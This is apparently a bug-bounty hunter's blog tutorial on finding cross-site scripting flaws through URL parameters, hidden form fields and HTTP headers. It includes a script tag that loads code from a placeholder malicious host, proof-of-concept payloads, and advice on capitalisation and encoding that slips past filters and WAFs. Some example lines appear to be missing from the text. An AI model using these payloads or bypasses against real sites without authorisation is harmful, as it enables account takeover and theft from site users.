The most common web app bug that meets minimum qualifications for bug bounty programs is decidedly cross-site scripting. I was a little frustrated with the introductory pages I found on the topic while researching for the past few months so this is my attempt to slightly improve the state of affairs. If you want to get your name listed in your first Hall of Fame or receive your first bug bounty prize you could do worse than read on.
Quick intro to how XSS works
Persistent XSSes are when a page takes user input and stores it server-side unfiltered. Quintessential example is forum software that doesn’t filter user posts. If a user makes a thread post that includes something like <script src=”http://malicioussite.com/malicious.js”></script> then anyone who visits that thread will have malicious.js run within their browser automatically. These are obviously a more severe vulnerabilities than reflected XSS since the victim doesn’t have to be socially engineered to click a specially crafted link. Persistent XSSes could lead to self-replicating XSS worms as seen in MySpace a long time ago and TweetDeck more recently.
Often people talk about DOM-based XSS as being a third class of XSS but seems to me these are really just a subtype of reflected XSS as they cannot be stored on the server. They are a bit sneakier than classic reflected XSSes though since the server never even knows that DOM-based XSSes are being triggered. These types of XSS are significantly more difficult to find especially through manual testing. If you’re interested in discovering these you should probably look into using the premium DOMinatorPro too but other than that we’re going to consider DOM-based XSS out of scope for this article.
XSS attack vectors
Any user input on a page is an XSS attack vector. User input vectors: URL variables (and the URL itself in the case of DOM-based XSS), form fields both hidden and explicit, and HTTP headers are all places that users can modify content and exploit XSS bugs. I’ll use the simple XSS payload of <script>alert(1)</script> for the following examples but we will discuss better payloads a little further down.
If my experience and my readings of others’ experience can be trusted, URL variables are the most common XSS attack vector. Take for example the URL http://www.site.com/page.php?id=helloworld&date=081014&score=987439. This URL has 3 XSS attack vectors, the id variable, date variable, and score variable. To test this URL for XSS one might try testing the id variable by visiting the page
However tons of big sites use hidden form fields all over the place. You can identify these by looking at the source code, Ctrl-F to search for <form and look for type=”hidden” value=”something”. These are more often overlooked since there’s no way for a user inside a normal browser to modify a hidden form field value. In order to modify a hidden form field value you must make a POST to the URL where the payload of the POST is: HiddenVar1=injecthere&HiddenVar2=injecthere&HiddenVar3=SoOnAndSoForth. I found this kind of XSS in a major telco’s site.
Last, we have HTTP headers as attack vectors. I have found that as a whole this is a probably the rarest of XSS-vulnerable vectors meaning if you took a census of the whole internet you would find the least amount of XSS vulnerabilities coming from this vector. Not many sites have a reason to reflect an HTTP header value directly into the source code of the page. That being said, it does seem to be a disproportionately common vulnerability amongst high value targets like very large websites and sites that participate in bug bounty programs. The Referer header, in particular, seems to be a thorn in the side of major websites. This might stem from the fact that the Referer header doesn’t always exist when you hit a URL so it is particularly easy for a programmer or QA engineer to forget to filter input from this vector. Headers that I believe are most commonly XSS vulnerable are Referer, Cookie, and User-Agent. I have personally only seen Referer header XSSes in the wild while I have seen at least one example of a Cookie header-based XSS and have never seen a User-Agent XSS despite having read that that should be a place to test. I’ve heard of some other headers that people have discovered were reflected unfiltered in source code but I cannot find hard evidence of any of them. Please contribute a comment with any other headers you’ve seen in the wild that have been vulnerable to XSS.
When looking at most intro to XSS guides they pretty much all say the same thing: <script>alert(1)</script>. This payload is OK, but why would you use a payload that’s longer than necessary and specifically gets caught by a ton of filters? Instead of <script>alert(1)</script> use this:
It’s the shortest consistently working payload I have found. This payload has a number of benefits. You will rarely if ever encounter a WAF or filter that specifically looks for the <svg> tag as a potential XSS attempt. This payload has no spaces which are sometimes filtered out. It uses prompt rather than alert which is very commonly filtered or looked for by WAFs. It uses a digit as the prompt message rather than a string which requires quotes and the digit it uses is not “1” which is also very commonly picked up as an XSS attempt by filters and WAFs. Last, we obfuscate it from poorly created regex filtering by throwing in some capitals.
XSS bugs can be reflected only in 2 places within the source code of a site: between HTML tags like:
or inside an HTML attribute like:
One of the problems with pages like OWASP’s XSS payload page is that it shows a million XSS payloads for various situations but doesn’t make any effort to organize them by usefulness. The vast majority of them require the < and > to be unfiltered. If the < and > are unfiltered then 95% chance <sVg/OnLOaD=prompt(9)> will work just fine. Other payload examples have unnecessary features that increase the chance of them getting filtered like adding spaces to the pop up message. Some use String.fromChar for the pop up message to avoid quotes in case quotes are filtered but that just extends the length of the payload unnecessarily. Just use a single digit as the pop up message to avoid hitting any input character limits.
Basically it all boils down to whether or not “, ‘, <, and > are filtered. Those are the most important characters for exploiting XSS. If they are filtered then you have dozens and dozens of slightly different ways to encode those characters but only a few ways are actually high percentage. URL encoding and HTML encoding have been the only two kinds of filter-evading encoding schemes that I’ve seen work in the wild in my limited experience. That doesn’t mean you shouldn’t try others, but if you still can’t bypass the filter with those two kinds of encoding then the majority of the time you’re not going to find success. HTML encoding generally won’t work for URL parameter XSS bugs, but was used to massive effect by bug hunter behrouz against Yahoo!. Behrouz was able to sneak quotes by the Yahoo! filter for his form field persistent XSS on their comment system by HTML encoding it as &quot;. This lead to an XSS exploit against virtually every yahoo.com property since they all used the same comment form system. URL encoding a quote would look like: %22. The best resource I’ve found for listing a myriad of ways to encode characters is http://seguretat.wiki.uoc.edu/index.php/XSS_Cheat_Sheet_(2) but generally all you’ll need to try are the encodings found at http://ha.ckers.org/xsscalc.html.
Manual XSS testing tools
Using the logic and methods above have netted me many responsible disclosures against sites like amazon.com, americanexpress.com, eccouncil.org, and an assortment of other high traffic and bug bounty-participating sites. I had a little help from my buddy Python in the discovery of some of those vulnerabilities, but that is for the next post.